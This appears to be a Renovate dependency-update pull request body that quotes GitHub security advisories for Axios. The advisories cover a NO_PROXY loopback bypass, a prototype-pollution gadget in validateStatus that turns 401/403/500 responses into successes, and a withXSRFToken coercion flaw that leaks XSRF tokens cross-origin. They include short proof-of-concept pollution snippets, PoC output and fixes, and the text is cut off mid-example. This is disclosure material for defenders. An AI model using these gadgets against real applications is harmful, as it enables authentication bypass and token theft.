On Linux the dominant platform for Node.js server deployments the kernel routes the entire 127.0.0.0/8 subnet to the loopback interface lo by default. This means any address in that range functions identically to 127.0.0.1 at the networking level.

##### Linux routing table — default configuration
$ ip route show table local | grep "127"
local 127.0.0.0/8 dev lo proto kernel scope host src 127.0.0.1

##### Proof: 127.0.0.2 is a valid loopback address on Linux
$ ping -c 1 127.0.0.2
PING 127.0.0.2: 56 data bytes
64 bytes from 127.0.0.2: icmp_seq=0 ttl=64 time=0.045 ms

Axios's current implementation does not reflect this operating system behaviour, resulting in an inconsistency between what the OS considers loopback and what Axios treats as loopback.

Reason 4 — The Proposed Fix Has Zero Performance Impact
The existing solution uses a Set.has() lookup an O(1) operation. The proposed fix replaces this with:

1. Two direct string comparisons ('localhost', '::1') — O(1)
2. A split('.') and array validation — O(1) with a fixed-length array of 4 elements
   The computational cost is equivalent or lower than the current approach, and the fix introduces no new external dependencies.

Reason 5 — The Fix Is Minimal and Surgical
The proposed change modifies only 3 lines of a single file. It does not alter:

• The parseNoProxyEntry() function
• The normalizeNoProxyHost() function
• The shouldBypassProxy() main function logic
• Any other file in the codebase

This minimises regression risk and makes the fix straightforward to review, test, and backport to older supported branches.

Reason 6 — Resilient to Alternative IP Encodings
Because Axios normalises the request URL using Node's native new URL() parser before passing it to shouldBypassProxy(), alternative IP encodings (such as octal 0177.0.0.1, hex 0x7f.0.0.1, or integer 2130706433) are already resolved into their standard IPv4 dotted-decimal format. This means the proposed .split('.') validation logic is completely robust and cannot be bypassed using URL-encoded IP obfuscation techniques.

5.5 Additional Recommendation — IPv6 Loopback Range

While the primary bypass demonstrated in this report targets the IPv4 127.0.0.0/8 range, the Axios team should also consider validating the full IPv6 loopback representation. The current implementation recognises only ::1. A more complete check would also handle the full-form notation:

// Additional IPv6 loopback representations to consider:
'0:0:0:0:0:0:0:1'      // Full notation of ::1
'::ffff:127.0.0.1'     // IPv4-mapped IPv6 loopback
'::ffff:7f00:1'        // Hex IPv4-mapped IPv6 loopback

Normalising these representations before comparison would make the NO_PROXY implementation comprehensively RFC-compliant across both IPv4 and IPv6 address families.

Severity

• CVSS Score: 7.2 / 10 (High)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N

References

• https://github.com/axios/axios/security/advisories/GHSA-pmwg-cvhr-8vh7
• https://nvd.nist.gov/vuln/detail/CVE-2026-42043
• https://github.com/advisories/GHSA-pmwg-cvhr-8vh7

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

Axios: Authentication Bypass via Prototype Pollution Gadget in validateStatus Merge Strategy

CVE-2026-42041 / GHSA-w9j2-pvgh-6h63

More information

Details

Vulnerability Disclosure: Authentication Bypass via Prototype Pollution Gadget in validateStatus Merge Strategy

Summary

The Axios library is vulnerable to a Prototype Pollution "Gadget" attack that allows any Object.prototype pollution to silently suppress all HTTP error responses (401, 403, 500, etc.), causing them to be treated as successful responses. This completely bypasses application-level authentication and error handling.

The root cause is that validateStatus is the only config property using the mergeDirectKeys merge strategy, which uses JavaScript's in operator — an operator that inherently traverses the prototype chain. When Object.prototype.validateStatus is polluted with () => true, all HTTP status codes are accepted as success.

Severity: High (CVSS 8.2)
Affected Versions: All versions (v0.x - v1.x including v1.15.0)
Vulnerable Component: lib/core/mergeConfig.js (mergeDirectKeys strategy) + lib/core/settle.js

CWE

• CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
• CWE-287: Improper Authentication

CVSS 3.1

Score: 8.2 (High)

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N

Metric	Value	Justification
Attack Vector	Network	PP is triggered remotely
Attack Complexity	Low	Once PP exists, a single property assignment exploits this. Consistent with GHSA-fvcv-3m26-pcqx
Privileges Required	None	No authentication needed
User Interaction	None	No user interaction required
Scope	Unchanged	Impact within the application
Confidentiality	Low	401 treated as success may expose data behind auth gates
Integrity	High	All error handling and auth checks are silently bypassed — application operates on invalid assumptions
Availability	None	The function works correctly (returns true), no crash

Usage of "Helper" Vulnerabilities

This vulnerability requires Zero Direct User Input.

If an attacker can pollute Object.prototype via any other library in the stack, Axios will automatically inherit the polluted validateStatus function during config merge. The in operator in mergeDirectKeys makes this property uniquely susceptible to prototype pollution compared to all other config properties.

Why validateStatus Is Uniquely Vulnerable

All other config properties use defaultToConfig2, which reads config2[prop] (traverses prototype). But validateStatus uses mergeDirectKeys, which uses the in operator:

// mergeConfig.js:58-64 — mergeDirectKeys (ONLY used by validateStatus)
function mergeDirectKeys(a, b, prop) {
  if (prop in config2) {           // ← `in` traverses prototype chain!
    return getMergedValue(a, b);
  } else if (prop in config1) {
    return getMergedValue(undefined, a);
  }
}

// mergeConfig.js:94
const mergeMap = {
  // ... all others use defaultToConfig2 ...
  validateStatus: mergeDirectKeys,   // ← ONLY property using this strategy
};

The in operator is a more aggressive prototype traversal than property access. While config2['validateStatus'] also traverses the prototype, the explicit in check makes the intent clearer and the vulnerability more direct.

Proof of Concept

1. The Setup (Simulated Pollution)

Object.prototype.validateStatus = () => true;

2. The Gadget Trigger (Safe Code)

// Application checks authentication via HTTP status codes
try {
  const response = await axios.get('https://api.internal/admin/users');
  // Developer expects: 401 → catch block → redirect to login
  // Reality: 401 → treated as success → displays admin data
  processAdminData(response.data);  // Executes with 401 response body!
} catch (error) {
  redirectToLogin();  // NEVER REACHED for 401/403/500
}

3. The Execution

// mergeConfig.js:58 — 'validateStatus' in config2
// config2 = { url: '/admin/users', method: 'get' }
// 'validateStatus' in config2 → checks prototype → finds () => true → TRUE
// → getMergedValue(defaultValidator, () => true) → returns () => true

// settle.js:16 — ALL status codes resolve
const validateStatus = response.config.validateStatus;  // () => true
if (!response.status || !validateStatus || validateStatus(response.status)) {
  resolve(response);  // 401, 403, 500 all resolve here!
}

4. The Impact

Before pollution:
  HTTP 200 → resolve (success)
  HTTP 401 → reject (auth error) → redirectToLogin()
  HTTP 403 → reject (forbidden) → showAccessDenied()
  HTTP 500 → reject (server error) → showErrorPage()

After pollution:
  HTTP 200 → resolve (success)
  HTTP 401 → resolve (SUCCESS!) → processAdminData() with error body
  HTTP 403 → resolve (SUCCESS!) → application thinks user has access
  HTTP 500 → resolve (SUCCESS!) → application processes error as data

Verified PoC Output

--- Before Pollution ---
401: REJECTED as expected - Request failed with status code 401
500: REJECTED as expected - Request failed with status code 500

--- After Pollution ---
200: RESOLVED as success (status: 200)
301: RESOLVED as success (status: 301)
401: RESOLVED as success (status: 401)
403: RESOLVED as success (status: 403)
404: RESOLVED as success (status: 404)
500: RESOLVED as success (status: 500)
503: RESOLVED as success (status: 503)

--- Authentication Bypass Demo ---
Auth check bypassed! 401 treated as success.
Application proceeds with: { status: 401, message: 'Response with status 401' }

Impact Analysis

• Authentication Bypass: Applications relying on axios rejecting 401/403 to enforce auth will silently accept unauthorized responses, allowing unauthenticated access to protected resources.
• Silent Error Swallowing: 500-series errors are treated as success, causing applications to process error bodies as valid data — leading to data corruption or logic errors.
• Security Control Bypass: Rate limiting (429), WAF blocks (403), and CAPTCHA challenges are suppressed.
• Universal Scope: Affects every axios instance in the application, including third-party libraries.

Recommended Fix

Replace the in operator with hasOwnProperty in mergeDirectKeys:

// FIXED: lib/core/mergeConfig.js
function mergeDirectKeys(a, b, prop) {
  if (Object.prototype.hasOwnProperty.call(config2, prop)) {
    return getMergedValue(a, b);
  } else if (Object.prototype.hasOwnProperty.call(config1, prop)) {
    return getMergedValue(undefined, a);
  }
}

Resources

• CWE-1321: Prototype Pollution
• CWE-287: Improper Authentication
• GHSA-fvcv-3m26-pcqx: Related PP Gadget in Axios
• MDN: in operator
• Axios GitHub Repository

Timeline

Date	Event
2026-04-15	Vulnerability discovered during source code audit
2026-04-15	PoC developed and vulnerability confirmed
2026-04-16	Report revised for accuracy
TBD	Report submitted to vendor via GitHub Security Advisory

Severity

• CVSS Score: 4.8 / 10 (Medium)
• Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N

References

• https://github.com/axios/axios/security/advisories/GHSA-w9j2-pvgh-6h63
• https://nvd.nist.gov/vuln/detail/CVE-2026-42041
• https://github.com/advisories/GHSA-w9j2-pvgh-6h63

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

Axios: XSRF Token Cross-Origin Leakage via Prototype Pollution Gadget in withXSRFToken Boolean Coercion

CVE-2026-42042 / GHSA-xx6v-rp6x-q39c

More information

Details

Vulnerability Disclosure: XSRF Token Cross-Origin Leakage via Prototype Pollution Gadget in withXSRFToken Boolean Coercion

Summary

The Axios library's XSRF token protection logic uses JavaScript truthy/falsy semantics instead of strict boolean comparison for the withXSRFToken config property. When this property is set to any truthy non-boolean value (via prototype pollution or misconfiguration), the same-origin check (isURLSameOrigin) is short-circuited, causing XSRF tokens to be sent to all request targets including cross-origin servers controlled by an attacker.

Severity: Medium (CVSS 5.4)
Affected Versions: All versions since withXSRFToken was introduced
Vulnerable Component: lib/helpers/resolveConfig.js:59
Environment: Browser-only (XSRF logic only runs when hasStandardBrowserEnv is true)

CWE

• CWE-201: Insertion of Sensitive Information Into Sent Data
• CWE-183: Permissive List of Allowed Inputs

CVSS 3.1

Score: 5.4 (Medium)

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N

Metric	Value	Justification
Attack Vector	Network	PP triggered remotely via vulnerable dependency
Attack Complexity	Low	Once PP exists, single property assignment. Consistent with GHSA-fvcv-3m26-pcqx
Privileges Required	None	No authentication needed
User Interaction	Required	Victim must use browser with axios making cross-origin requests
Scope	Unchanged	Token leakage within browser context
Confidentiality	Low	XSRF token leaked — anti-CSRF token, not session token
Integrity	Low	Stolen XSRF token enables CSRF attacks (bypass CSRF protection only)
Availability	None	No availability impact

Usage of "Helper" Vulnerabilities

This vulnerability requires Zero Direct User Input when triggered via prototype pollution.

If an attacker can pollute Object.prototype.withXSRFToken with any truthy value (e.g., 1, "true", {}), Axios will automatically inherit this value during config merge. The truthy value short-circuits the same-origin check, causing the XSRF cookie value to be sent as a request header to every destination.

Vulnerable Code

File: lib/helpers/resolveConfig.js, lines 57-66

// Line 57: Function check — only applies if withXSRFToken is a function
withXSRFToken && utils.isFunction(withXSRFToken) && (withXSRFToken = withXSRFToken(newConfig));

// Line 59: The vulnerable condition
if (withXSRFToken || (withXSRFToken !== false && isURLSameOrigin(newConfig.url))) {
//  ^^^^^^^^^^^^^^^^
//  When withXSRFToken = 1 (truthy non-boolean): this is true → short-circuits
//  isURLSameOrigin() is NEVER called → token sent to ANY origin
  const xsrfValue = xsrfHeaderName && xsrfCookieName && cookies.read(xsrfCookieName);
  if (xsrfValue) {
    headers.set(xsrfHeaderName, xsrfValue);
  }
}

Designed behavior:

• true → always send token (explicit cross-origin opt-in)
• false → never send token
• undefined → send only for same-origin requests

Actual behavior for non-boolean truthy values (1, "false", {}, []):

• All treated as truthy → same-origin check skipped → token sent everywhere

Proof of Concept

// Simulated prototype pollution from any vulnerable dependency
Object.prototype.withXSRFToken = 1;

// In browser with document.cookie = "XSRF-TOKEN=secret-csrf-token-abc123"
// Every axios request now includes: X-XSRF-TOKEN: secret-csrf-token-abc123
// Even to cross-origin hosts:
await axios

> ✂ **Note**
> 
> PR body was truncated to here.

[renovate]

Branch automerge failure

This PR was configured for branch automerge. However, this is not possible, so it has been raised as a PR instead.

---

• Branch has one or more failed status checks